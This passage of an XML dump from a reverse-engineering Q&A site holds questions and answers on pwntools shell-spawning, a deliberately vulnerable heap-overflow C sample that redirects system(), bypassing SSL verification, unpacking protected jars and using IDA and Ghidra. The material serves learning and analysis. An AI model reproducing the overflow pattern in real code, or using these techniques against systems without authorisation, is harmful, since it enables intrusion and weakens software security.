target...&#xA;Reading /bin/dash from remote target...&#xA;Reading /bin/2a16ad1517b3d714e7b3bdb5470b2c82eb25ff.debug from remote target...&#xA;Reading /bin/.debug/2a16ad1517b3d714e7b3bdb5470b2c82eb25ff.debug from remote target...&#xA;Reading /usr/lib/debug//bin/2a16ad1517b3d714e7b3bdb5470b2c82eb25ff.debug from remote target...&#xA;Reading /usr/lib/debug/bin//2a16ad1517b3d714e7b3bdb5470b2c82eb25ff.debug from remote target...&#xA;Reading target:/usr/lib/debug/bin//2a16ad1517b3d714e7b3bdb5470b2c82eb25ff.debug from remote target...&#xA;Error in re-setting breakpoint 1: Function &amp;quot;main&amp;quot; not defined.&#xA;Reading /lib64/ld-linux-x86-64.so.2 from remote target...&#xA;Reading /lib64/ld-linux-x86-64.so.2 from remote target...&#xA;Reading /lib64/ld-2.31.so from remote target...&#xA;Reading /lib64/.debug/ld-2.31.so from remote target...&#xA;Reading /usr/lib/debug//lib64/ld-2.31.so from remote target...&#xA;Reading /usr/lib/debug/lib64//ld-2.31.so from remote target...&#xA;Reading target:/usr/lib/debug/lib64//ld-2.31.so from remote target...&#xA;Reading /lib/x86_64-linux-gnu/libc.so.6 from remote target...&#xA;Reading /lib/x86_64-linux-gnu/libc-2.31.so from remote target...&#xA;Reading /lib/x86_64-linux-gnu/.debug/libc-2.31.so from remote target...&#xA;Reading /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.31.so from remote target...&#xA;Reading /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.31.so from remote target...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28097" LastEditorUserId="28097" LastEditDate="2020-10-20T01:54:13.530" LastActivityDate="2020-10-20T12:39:00.983" Title="Buffer overflow: pwntools does not give me a shell, despite exploit working without pwntools" Tags="|python|exploit|buffer-overflow|pwntools|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26135" PostTypeId="1" CreationDate="2020-10-19T03:54:52.590" Score="0" ViewCount="2640" Body="&lt;p&gt;I am trying to get python source code from only exe file compiled by pyinstaller.&lt;/p&gt;&#xA;&lt;p&gt;I used the &lt;a href=&quot;https://github.com/extremecoders-re/pyinstxtractor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;pyinstxtractor.py&lt;/a&gt; and got extracted folder.&lt;/p&gt;&#xA;&lt;p&gt;And then what or how should I do?&lt;/p&gt;&#xA;&lt;p&gt;Or could you explain other ways?&lt;/p&gt;&#xA;&lt;p&gt;Any help will be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="34712" LastEditorUserId="245" LastEditDate="2020-10-20T06:50:40.730" LastActivityDate="2020-10-20T06:50:40.730" Title="Reverse exe file compiled by pyinstaller" Tags="|python|patch-reversing|decompile|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="26136" PostTypeId="1" CreationDate="2020-10-19T08:02:30.850" Score="0" ViewCount="761" Body="&lt;p&gt;I have been investigating some routers by desoldering their nand flash and dumping them using a flash programmer.&lt;/p&gt;&#xA;&lt;p&gt;However when I use binwalk on these dumps I end up with fragments of files mixed in with corrupted JFFS2 file systems. I have done this on 2 different routers so far. Anyone have any ideas what might be happening here?&lt;/p&gt;&#xA;&lt;p&gt;Here is an example of the binwalk output on one of the dumps:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;❯ binwalk NAND512W3A@TSOP48_5603.BIN&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;64084         0xFA54          JFFS2 filesystem, big endian&#xA;227856        0x37A10         HTML document header&#xA;227956        0x37A74         JFFS2 filesystem, big endian&#xA;503556        0x7AF04         JFFS2 filesystem, big endian&#xA;1970268       0x1E105C        JFFS2 filesystem, big endian&#xA;3057708       0x2EA82C        Zlib compressed data, compressed&#xA;3136556       0x2FDC2C        JFFS2 filesystem, big endian&#xA;3380404       0x3394B4        JFFS2 filesystem, big endian&#xA;3405000       0x33F4C8        JFFS2 filesystem, big endian&#xA;4878860       0x4A720C        JFFS2 filesystem, big endian&#xA;5263164       0x504F3C        Zlib compressed data, compressed&#xA;5263228       0x504F7C        JFFS2 filesystem, big endian&#xA;5555588       0x54C584        JFFS2 filesystem, big endian&#xA;6068892       0x5C9A9C        Zlib compressed data, compressed&#xA;6069200       0x5C9BD0        JFFS2 filesystem, big endian&#xA;6086316       0x5CDEAC        Unix path: /var/wlansrom/bcm4331_map.bin&#xA;6086348       0x5CDECC        JFFS2 filesystem, big endian&#xA;6316000       0x605FE0        Zlib compressed data, compressed&#xA;6316412       0x60617C        JFFS2 filesystem, big endian&#xA;7022464       0x6B2780        Zlib compressed data, compressed&#xA;-- SNIP --&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Some of the zlib compressed data does compress to fragments of actual files on the router. The HTML documents are also fragments of the router's HTML webpages but truncated The JFFS2 filesystems are all corrupted and yield nothing no matter what I try.&lt;/p&gt;&#xA;&lt;p&gt;I would love to be able to extract the file system/s present on this thing, but I just cant see a way to do it. Any help would be very much appreciated :D&lt;/p&gt;&#xA;" OwnerUserId="34720" LastActivityDate="2020-10-19T08:02:30.850" Title="Binwalk on flash dump yielding useless files and empty file systems" Tags="|firmware|file-format|hardware|unpacking|binwalk|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="26137" PostTypeId="2" ParentId="26134" CreationDate="2020-10-20T12:39:00.983" Score="3" Body="&lt;p&gt;If you change your process startup to&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;p = process([&amp;quot;strace&amp;quot;, &amp;quot;-o&amp;quot;, &amp;quot;strace.out&amp;quot;, &amp;quot;./bof&amp;quot;])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and check the resulting &lt;code&gt;strace.out&lt;/code&gt; file, you will see:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;close(0)                                = 0&#xA;open(&amp;quot;/dev/tty&amp;quot;, O_RDWR|O_NOCTTY|O_TRUNC|O_APPEND|FASYNC) = 0&#xA;execve(&amp;quot;/bin/sh&amp;quot;, NULL, NULL)           = 0&#xA;...&#xA;read(0, 0x55ae7a6d5aa0, 8192)           = -1 EIO (Input/output error)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So this has to do with shellcode reopening &lt;code&gt;stdin&lt;/code&gt; as &lt;code&gt;/dev/tty&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Let's check &lt;a href=&quot;https://docs.pwntools.com/en/stable/tubes/processes.html#pwnlib.tubes.process.process&quot; rel=&quot;nofollow noreferrer&quot;&gt;the doc&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;stdin (int) – File object or file descriptor number to use for stdin.&#xA;By default, a pipe is used. A pty can be used instead by setting this&#xA;to PTY. This will cause programs to behave in an interactive manner&#xA;(e.g.., python will show a &amp;gt;&amp;gt;&amp;gt; prompt). If the application reads from&#xA;/dev/tty directly, use a pty.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and do as it says:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;p = process(&amp;quot;./bof&amp;quot;, stdin=PTY)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Voila!&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[*] Switching to interactive mode&#xA;Type in your name: $ &#xA;$ $ id -u&#xA;1000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30165" LastActivityDate="2020-10-20T12:39:00.983" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26138" PostTypeId="2" ParentId="21799" CreationDate="2020-10-20T23:37:08.747" Score="1" Body="&lt;p&gt;The following worked for me on IDA 7.2:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Get the frame id and confirm it's sane.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;Python&amp;gt; frame_id = get_frame_id(get_name_ea(BADADDR, 'sub_5450'))&#xA;Python&amp;gt; print(list(StructMembers(frame_id)))&#xA;[(0L, 'var_18', 8L), (12L, 'var_C', 4L), (24L, ' r', 8L)]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Get the existing variable id.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;Python&amp;gt; var_id = get_member_id(frame_id, 12)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If I needed a new variable, I would have used &lt;code&gt;add_struc_member(frame_id, 'var_name', var_offset, FF_DATA | FF_BYTE, -1, 1)&lt;/code&gt; first.&lt;/p&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Use &lt;code&gt;apply_type&lt;/code&gt; in order to turn the variable into an array.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;Python&amp;gt; apply_type(var_id, parse_decl('int[2]', 0))&#xA;True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Somehow &lt;code&gt;MakeArray&lt;/code&gt; did not work:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Python&amp;gt; MakeArray(var_id, 2)&#xA;False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30165" LastActivityDate="2020-10-20T23:37:08.747" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26139" PostTypeId="1" CreationDate="2020-10-21T01:40:35.707" Score="0" ViewCount="232" Body="&lt;p&gt;I am trying to decrypt HTTPs communications in a binary that I know has been statically linked with cURL. How can I force curl to not verify SSL certificates for fiddler to intercept? I am using the environment variable &amp;quot;all_proxy&amp;quot; for cURL to make it use the fiddler proxy, but it won't accept the self-signed cert from fiddler. I have the fiddler cert trusted in my certificate store.&lt;/p&gt;&#xA;" OwnerUserId="34732" LastActivityDate="2020-10-21T01:40:35.707" Title="Forcing embedded libcurl to disable SSL verification" Tags="|windows|decryption|dynamic-analysis|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26141" PostTypeId="1" AcceptedAnswerId="26143" CreationDate="2020-10-21T06:37:30.130" Score="2" ViewCount="60" Body="&lt;p&gt;I was trying out a simple heap overflow example (&lt;a href=&quot;http://highaltitudehacks.com/2020/09/05/arm64-reversing-and-exploitation-part-1-arm-instruction-set-heap-overflow/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://highaltitudehacks.com/2020/09/05/arm64-reversing-and-exploitation-part-1-arm-instruction-set-heap-overflow/&lt;/a&gt;) but replicated the relevant code in x86/x64 to understand it better. This is the code I used&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;int main(int argc, char *argv[])&#xA;{&#xA;    char *name = malloc(0x6);&#xA;    char *command = malloc(0x6);&#xA;    strcpy(command,&amp;quot;whoami&amp;quot;);&#xA;    strcpy(name,&amp;quot;zzzzzzzzzzzzzzzzls -l&amp;quot;);&#xA;&#xA;    system(command);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I noticed that if I compiled the code and ran it normally, I will get system to execute &amp;quot;ls -l&amp;quot; and does a folder listing. However, if I was stepping through the binary using lldb from start to midway and proceed to continue the rest of the execution while inside lldb, I will see &amp;quot;whoami&amp;quot; executed instead.&lt;/p&gt;&#xA;&lt;p&gt;I am testing this on a Mac OS and I am not sure if this is due to lldb or Mac OS behaviour?&lt;/p&gt;&#xA;" OwnerUserId="27105" LastActivityDate="2020-10-21T07:19:15.407" Title="Difference in binary behaviour (execution/under debugger)" Tags="|x86-64|lldb|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="26142" PostTypeId="2" ParentId="26085" CreationDate="2020-10-21T07:10:09.017" Score="1" Body="&lt;h2&gt;You could use a Watchpoint&lt;/h2&gt;&#xA;&lt;p&gt;The simplest way to do it is to use a watchpoint. A watchpoint will stop execution when a certain memory address is read or written. According to the &lt;a href=&quot;https://sourceware.org/gdb/current/onlinedocs/gdb/Set-Watchpoints.html#Set-Watchpoints&quot; rel=&quot;nofollow noreferrer&quot;&gt;GDB Manual section on setting Watchpoints&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;You can use a watchpoint to stop execution whenever the value of an expression changes, without having to predict a particular place where this may happen. (This is sometimes called a data breakpoint.) The expression may be as simple as the value of a single variable, or as complex as many variables combined by operators.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;Usage: watch [-l|-location] expr [thread thread-id] [mask maskvalue]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Set a watchpoint for an expression. GDB will break when the expression expr is written into by the program and its value changes. The simplest (and the most popular) use of this command is to watch the value of a single variable:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) watch foo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2&gt;You could use Breakpoint Command Lists&lt;/h2&gt;&#xA;&lt;p&gt;Breakpoint command lists are much what they sound like. They are lists of GDB commands that are run when a breakpoint is hit. A key feature here is that you can include the &lt;strong&gt;continue&lt;/strong&gt; command in the command list, making GDB not stop like it normally would.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;a href=&quot;https://sourceware.org/gdb/current/onlinedocs/gdb/Break-Commands.html#Break-Commands&quot; rel=&quot;nofollow noreferrer&quot;&gt;GDB Manual section on Breakpoint Command Lists&lt;/a&gt; tells us the following:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;You can give any breakpoint (or watchpoint or catchpoint) a series of commands to execute when your program stops due to that breakpoint. For example, you might want to print the values of certain expressions, or enable other breakpoints.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;Usage:&#xA;commands [list…]&#xA;… command-list …&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;For example, here is how you could use breakpoint commands to print the value of x at entry to foo whenever x is positive.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;break foo if x&amp;gt;0&#xA;commands&#xA;silent&#xA;printf &amp;quot;x is %d\n&amp;quot;,x&#xA;cont&#xA;end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17613" LastActivityDate="2020-10-21T07:10:09.017" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26143" PostTypeId="2" ParentId="26141" CreationDate="2020-10-21T07:19:15.407" Score="2" Body="&lt;p&gt;For the overflow from &lt;code&gt;name&lt;/code&gt; to &lt;code&gt;command&lt;/code&gt; to work, the difference between the addresses of both should be 0x10 bytes.&lt;/p&gt;&#xA;&lt;p&gt;I verified what I mentioned in the case earlier - Adding&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;printf(&amp;quot;%p:%p\n&amp;quot;, name, command);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Under a debugger stepping through main gives the addresses as&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0x100404080:0x1002059f0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here delta &amp;gt; 0x10 bytes and hence the &lt;code&gt;name&lt;/code&gt; &lt;code&gt;strcpy&lt;/code&gt; would not overflow to &lt;code&gt;command&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;while without stepping or without a debugger comes out&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0x7fa890405830:0x7fa890405840&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;exactly 0x10 bytes.&lt;/p&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2020-10-21T07:19:15.407" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26144" PostTypeId="2" ParentId="9178" CreationDate="2020-10-21T11:05:15.873" Score="7" Body="&lt;p&gt;For reference to those still looking for an answer to this question, I would recommend trying &lt;a href=&quot;https://github.com/dnSpy/dnSpy&quot; rel=&quot;noreferrer&quot;&gt;dnSpy&lt;/a&gt; - it allows you to do exactly what the requester asked - modify the high level code and recompile.&lt;/p&gt;&#xA;&lt;p&gt;It isn't perfect, but I've been able to make small changes to the in-house exe's we have where we didn't have the latest source code (disgruntled employees, don't ask).&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/dnSpy/dnSpy&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/dnSpy/dnSpy&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25005" LastActivityDate="2020-10-21T11:05:15.873" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26145" PostTypeId="1" CreationDate="2020-10-21T12:19:13.657" Score="1" ViewCount="300" Body="&lt;p&gt;I am trying to do some dynamic analysis on a couple of ELF binaries with &lt;code&gt;gdb&lt;/code&gt;. However, since those two are directly downloaded (ELF binary file only) with no additional information related to compilation/linking etc., I am not able to set up the proper environment in order to run them within &lt;code&gt;gdb&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In particular, I am receiving the following errors:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;warning: Error reading shared library list entry at 0x1600&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;warning: Corrupted shared library list: 0x804c7c0 != 0x7c&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Do you know how could I possibly resolve those issues or what can I do in order to set my environment properly for dynamic analysis?&lt;/p&gt;&#xA;&lt;p&gt;Thank you so much in advance for all of your input.&lt;/p&gt;&#xA;" OwnerUserId="34736" LastActivityDate="2020-10-21T12:19:13.657" Title="Dynamic Analysis with gdb on ELF binaries with no compilation/linking information" Tags="|debugging|gdb|elf|dynamic-analysis|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26146" PostTypeId="1" CreationDate="2020-10-21T12:37:56.110" Score="1" ViewCount="60" Body="&lt;p&gt;Windows 10, IDA Home, 64bit application compiled with Visual Studio.&lt;/p&gt;&#xA;&lt;p&gt;I'm reverse engineering a crackme and i found this instruction :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  mov     cl, byte_51B000[eax]&#xA;  mov     byte_51B018[edx], cl &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;in these 2 byte_ location are null terminated strings.&lt;/p&gt;&#xA;&lt;p&gt;I'm not sure to understand exactly what it's doing. Is it like an array index where byte_* is the array and [eax/edx] is the index ? i can't find this kind of syntax anywhere, is it IDA specific ?&lt;/p&gt;&#xA;" OwnerUserId="28896" LastActivityDate="2020-10-21T12:37:56.110" Title="trying to understand this mov memory[register] instruction" Tags="|ida|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26147" PostTypeId="1" CreationDate="2020-10-21T20:46:39.277" Score="1" ViewCount="542" Body="&lt;p&gt;In Ida Pro while debugging linux process with gdbserver I got window that show than SIGTRAP has been arrived, I choose to pass it to application.&lt;/p&gt;&#xA;&lt;p&gt;How can I edit that choose now? I want to ignore this signal and not pass it to application&lt;/p&gt;&#xA;&lt;p&gt;By the way,what signals are causing the process to die in linux  ,so I will choose to not pass them to application?&lt;/p&gt;&#xA;" OwnerUserId="33825" LastEditorUserId="33825" LastEditDate="2020-10-21T21:02:05.957" LastActivityDate="2020-11-26T11:03:30.373" Title="Edit IDA signal handler" Tags="|ida|linux|gdb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26150" PostTypeId="1" AcceptedAnswerId="26152" CreationDate="2020-10-22T09:59:07.027" Score="1" ViewCount="590" Body="&lt;p&gt;people recommend windows for reverse engineering, I don't want to install windows as a virtual machine because they are laggy and I already have windows 10 as host, is it possible to use linux vm that already has tools installed instead.&lt;/p&gt;&#xA;&lt;p&gt;can i still download a windows malware and do reverse engineer it in linux vm.&lt;/p&gt;&#xA;" OwnerUserId="34745" LastActivityDate="2020-10-22T12:31:21.543" Title="Does the operating system you use matter?" Tags="|windows|linux|malware|operating-systems|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26151" PostTypeId="1" AcceptedAnswerId="26161" CreationDate="2020-10-22T12:21:28.383" Score="2" ViewCount="1988" Body="&lt;p&gt;I'd like to debug Ghidra plugin scripts written in python using an IDE such as Eclipse.  I have installed Pydev and the GhidraDev plugin (from Ghidra open a script in Eclipse to autoinstall the plugin).&lt;/p&gt;&#xA;&lt;p&gt;With the plugin script opened in Eclipse, I'll set a breakpoint (e.g. on the print stmt below), then click Debug &amp;gt; GhidraScripts to launch Ghidra, and finally manually initiate the script (see sample script below).  I see the thread and can pause the script thread from Eclipse, but the breakpoints are never hit.&lt;/p&gt;&#xA;&lt;p&gt;I've tried both GhidraScripts (Headless) and GUI based GhidraScript launch, however none of my break.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# Hello Function Script&#xA;# @author mechgt&#xA;# @category _NEW_&#xA;# @keybinding&#xA;# @menupath&#xA;# @toolbar&#xA;&#xA;import ghidra&#xA;import time&#xA;    &#xA;# Iterate through functions, parsing and printing each&#xA;function = getFirstFunction()&#xA;while function is not None:&#xA;    print(&amp;quot;Function: {} Address: {}&amp;quot;.format(function.getName(), function.getEntryPoint()))&#xA;    time.sleep(3)&#xA;    function = getFunctionAfter(function)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;How can I get debugging functionality for Ghidra Python scripts?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;NOTE: The Eclipse/Ghidra/PyDev debugging issues appear related to a possible bug: &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/issues/1707&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/NationalSecurityAgency/ghidra/issues/1707&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34516" LastEditorUserId="34516" LastEditDate="2020-10-25T15:34:29.153" LastActivityDate="2020-10-25T15:34:29.153" Title="How can I debug Ghidra plugin Python scripts in IDE?" Tags="|debugging|ghidra|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26152" PostTypeId="2" ParentId="26150" CreationDate="2020-10-22T12:31:21.543" Score="3" Body="&lt;p&gt;It all depend of what you plan to reverse and how.&lt;/p&gt;&#xA;&lt;p&gt;For purely static analysis, your operating system don't really matter, since there are great tools for both Windows and Linux systems(and nowadays you can even run Linux tools in the Windows linux subsystem, or use wine to emulate Windows utils on a Linux native system).&lt;/p&gt;&#xA;&lt;p&gt;But if you have to run what your are reversing, and do some dynamic/behavioral analysis, you must have a setup that allows you to do so.&lt;/p&gt;&#xA;&lt;p&gt;You added the #malware tag in your post, for this specific case, you need a virtual environment for obvious reasons.&lt;/p&gt;&#xA;&lt;p&gt;No matter what is your 'main' operating system, I advise you to build a Linux AND a Windows virtual machine. You can snapshot them in a clean state, working on them as you want, drop your tools, break everything, infect them, undo and start again.&lt;/p&gt;&#xA;" OwnerUserId="29213" LastActivityDate="2020-10-22T12:31:21.543" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26155" PostTypeId="2" ParentId="11660" CreationDate="2020-10-22T19:23:05.690" Score="0" Body="&lt;p&gt;I've written an IDAPython script which parses the debug information and then performs the corresponding renamings, all from within IDA.&lt;/p&gt;&#xA;&lt;p&gt;The script, along with simple usage instructions, are available on &lt;a href=&quot;https://github.com/ramikg/tdinfo-parser&quot; rel=&quot;nofollow noreferrer&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="34749" LastActivityDate="2020-10-22T19:23:05.690" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26157" PostTypeId="1" AcceptedAnswerId="26159" CreationDate="2020-10-22T19:36:39.217" Score="4" ViewCount="1143" Body="&lt;p&gt;Here is a sample C code which prints Windows version directly from address&#xA;of &lt;a href=&quot;https://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kuser_shared_data/index.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;KUSER_SHARED_DATA&lt;/a&gt;. Tested in Windows 10 only. The raw memory address&#xA;differ in Windows version but that's not the point.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main(void)&#xA;{&#xA;    wprintf(&#xA;        L&amp;quot;Version: %lu.%lu.%lu\n&amp;quot;,&#xA;        *(unsigned int *)(0x7FFE0000 + 0x026C),&#xA;        *(unsigned int *)(0x7FFE0000 + 0x0270),&#xA;        *(unsigned int *)(0x7FFE0000 + 0x0260)&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here are the decompiled code:&lt;/p&gt;&#xA;&lt;p&gt;In GHIDRA:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int main(int _Argc,char **_Argv,char **_Env)&#xA;&#xA;{&#xA;    wprintf(L&amp;quot;Version: %lu.%lu.%lu\n&amp;quot;,&#xA;        (ulonglong)_DAT_7ffe026c,&#xA;        (ulonglong)_DAT_7ffe0270,&#xA;        (ulonglong)_DAT_7ffe0260);&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In IDA Pro + Hex-Rays:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int __fastcall main()&#xA;{&#xA;    wprintf(L&amp;quot;Version: %lu.%lu.%lu\n&amp;quot;,&#xA;        MEMORY[0x7FFE026C],&#xA;        MEMORY[0x7FFE0270],&#xA;        MEMORY[0x7FFE0260]);&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My question: In decompiled code, is it possible to show the memory address as&#xA;the member of KUSER_SHARED_DATA? For example, I want to show &lt;code&gt;MEMORY[0x7FFE0260]&lt;/code&gt;&#xA;as &lt;code&gt;SharedData.NtBuildNumber&lt;/code&gt; or something similar to it.&lt;/p&gt;&#xA;" OwnerUserId="23069" LastActivityDate="2020-10-24T06:19:29.693" Title="How to show KUSER_SHARED_DATA members in decompiled C code?" Tags="|windows|decompilation|ghidra|hexrays|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26158" PostTypeId="2" ParentId="26100" CreationDate="2020-10-22T22:10:18.447" Score="1" Body="&lt;p&gt;At first thats not obfuscated but just packed.&#xA;BIS Guard is pretty useless at all.&lt;/p&gt;&#xA;&lt;p&gt;There are two ways to retrieve the encrypted classes:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Decompile your jar and reverse the main class of BisGuard (which is deobfuscated)&lt;/li&gt;&#xA;&lt;li&gt;Empty the LDC &amp;quot;-XX:+DisableAttachMechanism&amp;quot; and attach an agent to dump the classes (&lt;a href=&quot;https://github.com/karim789/class-dumper-agent&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/karim789/class-dumper-agent&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="34252" LastActivityDate="2020-10-22T22:10:18.447" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26159" PostTypeId="2" ParentId="26157" CreationDate="2020-10-23T04:58:04.170" Score="4" Body="&lt;p&gt;For IDA/Hex-Rays:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In the Loaded Type Libraries window (&lt;code&gt;View-&amp;gt;Open subviews-&amp;gt;Type libraries&lt;/code&gt;), load &lt;code&gt;ntddk_win10&lt;/code&gt; (or whatever Windows version you want, back to Windows XP and Windows Server 2003).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/arxbM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/arxbM.png&quot; alt=&quot;Available Type Libraries&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;In the Structures window (&lt;code&gt;View-&amp;gt;Open subviews-&amp;gt;Structures&lt;/code&gt;), import &lt;code&gt;KUSER_SHARED_DATA&lt;/code&gt;. You can simply write the name of the type in the dialog box and press OK, as in the following image:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GI14f.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GI14f.png&quot; alt=&quot;Create structure/union&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Under &lt;code&gt;Edit-&amp;gt;Segments-&amp;gt;Create segment&lt;/code&gt;, create a new segment with that memory range, as in the following 